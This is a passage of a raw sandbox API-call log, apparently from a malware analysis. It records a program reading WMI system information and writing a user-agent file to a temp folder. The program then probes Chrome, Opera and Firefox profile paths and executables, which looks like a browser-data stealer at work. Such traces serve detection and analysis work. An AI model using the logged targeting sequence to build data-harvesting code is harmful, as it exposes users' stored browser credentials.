Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe894 | out: ppvObject=0x12fe894*=0x13a3fb0) returned 0x0 [0195.733] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3fb0, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe850 | out: ppvObject=0x12fe850*=0x0) returned 0x80004002 [0195.733] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3fb0, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe444 | out: ppvObject=0x12fe444*=0x0) returned 0x80004002 [0195.733] WbemDefPath:IUnknown:AddRef (This=0x13a3fb0) returned 0x3 [0195.733] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3fb0, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fe1a4 | out: ppvObject=0x12fe1a4*=0x0) returned 0x80004002 [0195.733] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3fb0, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fe154 | out: ppvObject=0x12fe154*=0x0) returned 0x80004002 [0195.733] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3fb0, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe160 | out: ppvObject=0x12fe160*=0x13a1390) returned 0x0 [0195.733] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x13a1390, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fe168 | out: pCid=0x12fe168) returned 0x0 [0195.733] WbemDefPath:IUnknown:Release (This=0x13a1390) returned 0x3 [0195.733] CoGetContextToken (in: pToken=0x12fe1c0 | out: pToken=0x12fe1c0) returned 0x0 [0195.733] CoGetContextToken (in: pToken=0x12fe5c8 | out: pToken=0x12fe5c8) returned 0x0 [0195.734] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3fb0, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe654 | out: ppvObject=0x12fe654*=0x0) returned 0x80004002 [0195.734] WbemDefPath:IUnknown:Release (This=0x13a3fb0) returned 0x2 [0195.734] WbemDefPath:IUnknown:Release (This=0x13a3fb0) returned 0x1 [0195.734] CoGetContextToken (in: pToken=0x12fef68 | out: pToken=0x12fef68) returned 0x0 [0195.734] CoGetContextToken (in: pToken=0x12feec8 | out: pToken=0x12feec8) returned 0x0 [0195.734] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3fb0, riid=0x12fef98*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x12fef94 | out: ppvObject=0x12fef94*=0x13a3fb0) returned 0x0 [0195.734] WbemDefPath:IUnknown:AddRef (This=0x13a3fb0) returned 0x3 [0195.734] WbemDefPath:IUnknown:Release (This=0x13a3fb0) returned 0x2 [0195.734] WbemDefPath:IWbemPath:SetText (This=0x13a3fb0, uMode=0x4, pszPath="\\\\NQDPDE\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"NQDPDE\"") returned 0x0 [0195.734] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a3ae0, puCount=0x12ff11c | out: puCount=0x12ff11c*=0x2) returned 0x0 [0195.734] WbemDefPath:IWbemPath:GetText (in: This=0x13a3ae0, lFlags=4, puBuffLength=0x12ff118*=0x0, pszText=0x0 | out: puBuffLength=0x12ff118*=0xf, pszText=0x0) returned 0x0 [0195.734] WbemDefPath:IWbemPath:GetText (in: This=0x13a3ae0, lFlags=4, puBuffLength=0x12ff118*=0xf, pszText="00000000000000" | out: puBuffLength=0x12ff118*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0195.734] CoGetContextToken (in: pToken=0x12ff010 | out: pToken=0x12ff010) returned 0x0 [0195.734] IUnknown:Release (This=0x13ac2d0) returned 0x1 [0195.734] IUnknown:Release (This=0x13ac2d0) returned 0x0 [0195.736] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a3ae0, puCount=0x12ff114 | out: puCount=0x12ff114*=0x2) returned 0x0 [0195.736] WbemDefPath:IWbemPath:GetText (in: This=0x13a3ae0, lFlags=4, puBuffLength=0x12ff110*=0x0, pszText=0x0 | out: puBuffLength=0x12ff110*=0xf, pszText=0x0) returned 0x0 [0195.736] WbemDefPath:IWbemPath:GetText (in: This=0x13a3ae0, lFlags=4, puBuffLength=0x12ff110*=0xf, pszText="00000000000000" | out: puBuffLength=0x12ff110*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0195.736] IWbemClassObject:Get (in: This=0x13d5720, wszName="Version", lFlags=0, pVal=0x12ff110*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x31ac46c*=0, plFlavor=0x31ac470*=0 | out: pVal=0x12ff110*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="10.0.15063", varVal2=0x0), pType=0x31ac46c*=8, plFlavor=0x31ac470*=32) returned 0x0 [0195.736] SysStringByteLen (bstr="10.0.15063") returned 0x14 [0195.736] SysStringByteLen (bstr="10.0.15063") returned 0x14 [0195.736] IWbemClassObject:Get (in: This=0x13d5720, wszName="Version", lFlags=0, pVal=0x12ff118*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x31ac46c*=8, plFlavor=0x31ac470*=32 | out: pVal=0x12ff118*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="10.0.15063", varVal2=0x0), pType=0x31ac46c*=8, plFlavor=0x31ac470*=32) returned 0x0 [0195.736] SysStringByteLen (bstr="10.0.15063") returned 0x14 [0195.736] SysStringByteLen (bstr="10.0.15063") returned 0x14 [0195.748] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\UserAgents.txt", nBufferLength=0x105, lpBuffer=0x12feb5c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\UserAgents.txt", lpFilePart=0x0) returned 0x3d [0195.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0a0) returned 1 [0195.748] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\UserAgents.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\useragents.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x56c [0195.753] GetFileType (hFile=0x56c) returned 0x1 [0195.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff09c) returned 1 [0195.754] GetFileType (hFile=0x56c) returned 0x1 [0195.754] CoTaskMemAlloc (cb=0x20c) returned 0x13d5040 [0195.754] GetEnvironmentVariableW (in: lpName="LocalAppData", lpBuffer=0x13d5040, nSize=0x104 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x1d [0195.754] CoTaskMemFree (pv=0x13d5040) [0195.754] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data", nBufferLength=0x105, lpBuffer=0x12fec74, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data", lpFilePart=0x0) returned 0x35 [0195.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff124) returned 1 [0195.754] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data"), fInfoLevelId=0x0, lpFileInformation=0x12ff1a0 | out: lpFileInformation=0x12ff1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a5b9542, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a5b9542, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0195.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff120) returned 1 [0195.754] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ff164 | out: phkResult=0x12ff164*=0x0) returned 0x2 [0195.755] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ff164 | out: phkResult=0x12ff164*=0x570) returned 0x0 [0195.755] RegQueryValueExW (in: hKey=0x570, lpValueName="", lpReserved=0x0, lpType=0x12ff180, lpData=0x0, lpcbData=0x12ff17c*=0x0 | out: lpType=0x12ff180*=0x1, lpData=0x0, lpcbData=0x12ff17c*=0x78) returned 0x0 [0195.755] RegQueryValueExW (in: hKey=0x570, lpValueName="", lpReserved=0x0, lpType=0x12ff180, lpData=0x31ae4b8, lpcbData=0x12ff17c*=0x78 | out: lpType=0x12ff180*=0x1, lpData="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpcbData=0x12ff17c*=0x78) returned 0x0 [0195.755] RegCloseKey (hKey=0x570) returned 0x0 [0195.755] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", nBufferLength=0x105, lpBuffer=0x12fec40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpFilePart=0x0) returned 0x3b [0195.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0f4) returned 1 [0195.755] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe"), fInfoLevelId=0x0, lpFileInformation=0x12ff170 | out: lpFileInformation=0x12ff170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8a617bee, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x162558)) returned 1 [0195.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0f0) returned 1 [0195.756] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpdwHandle=0x12ff1e4 | out: lpdwHandle=0x12ff1e4) returned 0x8a4 [0195.757] GetFileVersionInfoW (in: lptstrFilename="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", dwHandle=0x0, dwLen=0x8a4, lpData=0x31ae6a8 | out: lpData=0x31ae6a8) returned 1 [0195.758] VerQueryValueW (in: pBlock=0x31ae6a8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x12ff1b8, puLen=0x12ff1b4 | out: lplpBuffer=0x12ff1b8*=0x31aeaf4, puLen=0x12ff1b4) returned 1 [0195.760] VerQueryValueW (in: pBlock=0x31ae6a8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\CompanyName", lplpBuffer=0x12ff138, puLen=0x12ff134 | out: lplpBuffer=0x12ff138*=0x31ae760, puLen=0x12ff134) returned 1 [0195.760] VerQueryValueW (in: pBlock=0x31ae6a8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileDescription", lplpBuffer=0x12ff138, puLen=0x12ff134 | out: lplpBuffer=0x12ff138*=0x31ae7a0, puLen=0x12ff134) returned 1 [0195.760] VerQueryValueW (in: pBlock=0x31ae6a8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileVersion", lplpBuffer=0x12ff138, puLen=0x12ff134 | out: lplpBuffer=0x12ff138*=0x31ae7dc, puLen=0x12ff134) returned 1 [0195.760] VerQueryValueW (in: pBlock=0x31ae6a8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\InternalName", lplpBuffer=0x12ff138, puLen=0x12ff134 | out: lplpBuffer=0x12ff138*=0x31ae818, puLen=0x12ff134) returned 1 [0195.760] VerQueryValueW (in: pBlock=0x31ae6a8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalCopyright", lplpBuffer=0x12ff138, puLen=0x12ff134 | out: lplpBuffer=0x12ff138*=0x31ae854, puLen=0x12ff134) returned 1 [0195.760] VerQueryValueW (in: pBlock=0x31ae6a8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\OriginalFilename", lplpBuffer=0x12ff138, puLen=0x12ff134 | out: lplpBuffer=0x12ff138*=0x31ae8dc, puLen=0x12ff134) returned 1 [0195.760] VerQueryValueW (in: pBlock=0x31ae6a8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductName", lplpBuffer=0x12ff138, puLen=0x12ff134 | out: lplpBuffer=0x12ff138*=0x31ae914, puLen=0x12ff134) returned 1 [0195.760] VerQueryValueW (in: pBlock=0x31ae6a8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductVersion", lplpBuffer=0x12ff138, puLen=0x12ff134 | out: lplpBuffer=0x12ff138*=0x31ae954, puLen=0x12ff134) returned 1 [0195.760] VerQueryValueW (in: pBlock=0x31ae6a8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\Comments", lplpBuffer=0x12ff138, puLen=0x12ff134 | out: lplpBuffer=0x12ff138*=0x0, puLen=0x12ff134) returned 0 [0195.760] VerQueryValueW (in: pBlock=0x31ae6a8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalTrademarks", lplpBuffer=0x12ff138, puLen=0x12ff134 | out: lplpBuffer=0x12ff138*=0x0, puLen=0x12ff134) returned 0 [0195.760] VerQueryValueW (in: pBlock=0x31ae6a8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\PrivateBuild", lplpBuffer=0x12ff138, puLen=0x12ff134 | out: lplpBuffer=0x12ff138*=0x0, puLen=0x12ff134) returned 0 [0195.761] VerQueryValueW (in: pBlock=0x31ae6a8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\SpecialBuild", lplpBuffer=0x12ff138, puLen=0x12ff134 | out: lplpBuffer=0x12ff138*=0x0, puLen=0x12ff134) returned 0 [0195.761] VerQueryValueW (in: pBlock=0x31ae6a8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x12ff12c, puLen=0x12ff128 | out: lplpBuffer=0x12ff12c*=0x31aeaf4, puLen=0x12ff128) returned 1 [0195.761] VerLanguageNameW (in: wLang=0x409, szLang=0x12feebc, cchLang=0x100 | out: szLang="英語 (米国)") returned 0x7 [0195.764] VerQueryValueW (in: pBlock=0x31ae6a8, lpSubBlock="\\", lplpBuffer=0x12ff13c, puLen=0x12ff138 | out: lplpBuffer=0x12ff13c*=0x31ae6d0, puLen=0x12ff138) returned 1 [0195.765] CoTaskMemAlloc (cb=0x20c) returned 0x13d5040 [0195.765] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x13d5040 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0195.765] CoTaskMemFree (pv=0x13d5040) [0195.765] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x12febe4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming", lpFilePart=0x0) returned 0x1f [0195.765] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Opera Software\\Opera Stable\\Web Data", nBufferLength=0x105, lpBuffer=0x12fec74, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Opera Software\\Opera Stable\\Web Data", lpFilePart=0x0) returned 0x44 [0195.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff124) returned 1 [0195.765] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Opera Software\\Opera Stable\\Web Data" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\opera software\\opera stable\\web data"), fInfoLevelId=0x0, lpFileInformation=0x12ff1a0 | out: lpFileInformation=0x12ff1a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0195.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff120) returned 1 [0195.765] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\firefox.exe", nBufferLength=0x105, lpBuffer=0x12fec7c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpFilePart=0x0) returned 0x2c [0195.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff130) returned 1 [0195.765] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\firefox.exe" (normalized: "c:\\program files\\mozilla firefox\\firefox.exe"), fInfoLevelId=0x0, lpFileInformation=0x12ff1ac | out: lpFileInformation=0x12ff1ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0cc6d9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x694e7630, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0x77ada980, ftLastWriteTime.dwHighDateTime=0x1d5a908, nFileSizeHigh=0x0, nFileSizeLow=0x7b0c8)) returned 1 [0195.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff12c) returned 1 [0195.766] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ff164 | out: phkResult=0x12ff164*=0x0) returned 0x2 [0195.766] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ff164 | out: phkResult=0x12ff164*=0x570) returned 0x0 [0195.766] RegQueryValueExW (in: hKey=0x570, lpValueName="", lpReserved=0x0, lpType=0x12ff180, lpData=0x0, lpcbData=0x12ff17c*=0x0 | out: lpType=0x12ff180*=0x1, lpData=0x0, lpcbData=0x12ff17c*=0x5a) returned 0x0 [0195.766] RegQueryValueExW (in: hKey=0x570, lpValueName="", lpReserved=0x0, lpType=0x12ff180, lpData=0x31b0cc0, lpcbData=0x12ff17c*=0x5a | out: lpType=0x12ff180*=0x1, lpData="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpcbData=0x12ff17c*=0x5a) returned 0x0 [0195.766] RegCloseKey (hKey=0x570) returned 0x0 [0195.766] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\firefox.exe", nBufferLength=0x105, lpBuffer=0x12fec40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpFilePart=0x0) returned 0x2c [0195.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0f4) returned 1 [0195.766] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\firefox.exe" (normalized: "c:\\program files\\mozilla firefox\\firefox.exe"), fInfoLevelId=0x0, lpFileInformation=0x12ff170 | out: lpFileInformation=0x12ff170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0cc6d9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x694e7630, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0x77ada980, ftLastWriteTime.dwHighDateTime=0x1d5a908, nFileSizeHigh=0x0, nFileSizeLow=0x7b0c8)) returned 1 [0195.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0f0) returned 1 [0195.767] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpdwHandle=0x12ff1e4 | out: lpdwHandle=0x12ff1e4) returned 0x7c4 [0195.767] GetFileVersionInfoW (in: lptstrFilename="C:\\Program Files\\Mozilla Firefox\\firefox.exe", dwHandle=0x0, dwLen=0x7c4, lpData=0x31b0e5c | out: lpData=0x31b0e5c) returned 1 [0195.768] VerQueryValueW (in: pBlock=0x31b0e5c, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x12ff1b8, puLen=0x12ff1b4 | out: lplpBuffer=0x12ff1b8*=0x31b1238, puLen=0x12ff1b4) returned 1 [0195.768] VerQueryValueW (in: pBlock=0x31b0e5c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x12ff138, puLen=0x12ff134 | out: lplpBuffer=0x12ff138*=0x31b0fd8, puLen=0x12ff134) returned 1 [0195.768] VerQueryValueW (in: pBlock=0x31b0e5c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x12ff138, puLen=0x12ff134 | out: lplpBuffer=0x12ff138*=0x31b1028, puLen=0x12ff134) returned 1 [0195.768] VerQueryValueW (in: pBlock=0x31b0e5c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x12ff138, puLen=0x12ff134 | out: lplpBuffer=0x12ff138*=0x31b1058, puLen=0x12ff134) returned 1 [0195.768] VerQueryValueW (in: pBlock=0x31b0e5c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x12ff138, puLen=0x12ff134 | out: lplpBuffer=0x12ff138*=0x31b10b4, puLen=0x12ff134) returned 1 [0195.768] VerQueryValueW (in: pBlock=0x31b0e5c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x12ff138, puLen=0x12ff134 | out: lplpBuffer=0x12ff138*=0x31b0f30, puLen=0x12ff134) returned 1 [0195.768] VerQueryValueW (in: pBlock=0x31b0e5c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x12ff138, puLen=0x12ff134 | out: lplpBuffer=0x12ff138*=0x31b1178, puLen=0x12ff134) returned 1 [0195.768] VerQueryValueW (in: pBlock=0x31b0e5c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x12ff138, puLen=0x12ff134 | out: lplpBuffer=0x12ff138*=0x31b11b0, puLen=0x12ff134) returned 1 [0195.768] VerQueryValueW (in: pBlock=0x31b0e5c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x12ff138, puLen=0x12ff134 | out: lplpBuffer=0x12ff138*=0x31b1088, puLen=0x12ff134) returned 1 [0195.768] VerQueryValueW (in: pBlock=0x31b0e5c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x12ff138, puLen=0x12ff134 | out: lplpBuffer=0x12ff138*=0x31b0f0a, puLen=0x12ff134) returned 1 [0195.769] VerQueryValueW (in: pBlock=0x31b0e5c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x12ff138, puLen=0x12ff134 | out: lplpBuffer=0x12ff138*=0x31b10ec, puLen=0x12ff134) returned 1 [0195.769] VerQueryValueW (in: pBlock=0x31b0e5c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x12ff138, puLen=0x12ff134 | out: lplpBuffer=0x12ff138*=0x0, puLen=0x12ff134) returned 0 [0195.769] VerQueryValueW (in: pBlock=0x31b0e5c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x12ff138, puLen=0x12ff134 | out: lplpBuffer=0x12ff138*=0x0, puLen=0x12ff134) returned 0 [0195.769] VerQueryValueW (in: pBlock=0x31b0e5c, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x12ff12c, puLen=0x12ff128 | out: lplpBuffer=0x12ff12c*=0x31b1238, puLen=0x12ff128) returned 1 [0195.769] VerLanguageNameW (in: wLang=0x0, szLang=0x12feebc, cchLang=0x100 | out: szLang="ニュートラル言語") returned 0x8 [0195.769] VerQueryValueW (in: pBlock=0x31b0e5c, lpSubBlock="\\", lplpBuffer=0x12ff13c, puLen=0x12ff138 | out: lplpBuffer=0x12ff13c*=0x31b0e84, puLen=0x12ff138) returned 1 [0195.772] WriteFile (in: hFile=0x56c, lpBuffer=0x31b2510*, nNumberOfBytesToWrite=0xc4, lpNumberOfBytesWritten=0x12ff12c, lpOverlapped=0x0 | out: lpBuffer=0x31b2510*, lpNumberOfBytesWritten=0x12ff12c*=0xc4, lpOverlapped=0x0) returned 1 [0195.773] CloseHandle (hObject=0x56c) returned 1 [0195.779] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%", lpDst=0x12fd8d8, nSize=0x64 | out: lpDst="C:\\Users\\FD1HVy") returned 0x10 [0195.779] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%", lpDst=0x12fd8d8, nSize=0x64 | out: lpDst="C:\\Users\\FD1HVy") returned 0x10 [0195.779] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%", lpDst=0x12fd8d8, nSize=0x64 | out: lpDst="C:\\Users\\FD1HVy") returned 0x10 [0195.779] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%", lpDst=0x12fd8d8, nSize=0x64 | out: lpDst="C:\\Users\\FD1HVy") returned 0x10 [0195.858] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers", nBufferLength=0x105, lpBuffer=0x12fec5c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers", lpFilePart=0x0) returned 0x37 [0195.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff098) returned 1 [0195.859] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\browsers"), fInfoLevelId=0x0, lpFileInformation=0x12ff114 | out: lpFileInformation=0x12ff114*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0195.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff094) returned 1 [0195.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff098) returned 1 [0195.859] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\browsers"), fInfoLevelId=0x0, lpFileInformation=0x12ff114 | out: lpFileInformation=0x12ff114*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0195.859] SetThreadErrorMode (dwNewMode=0x0, 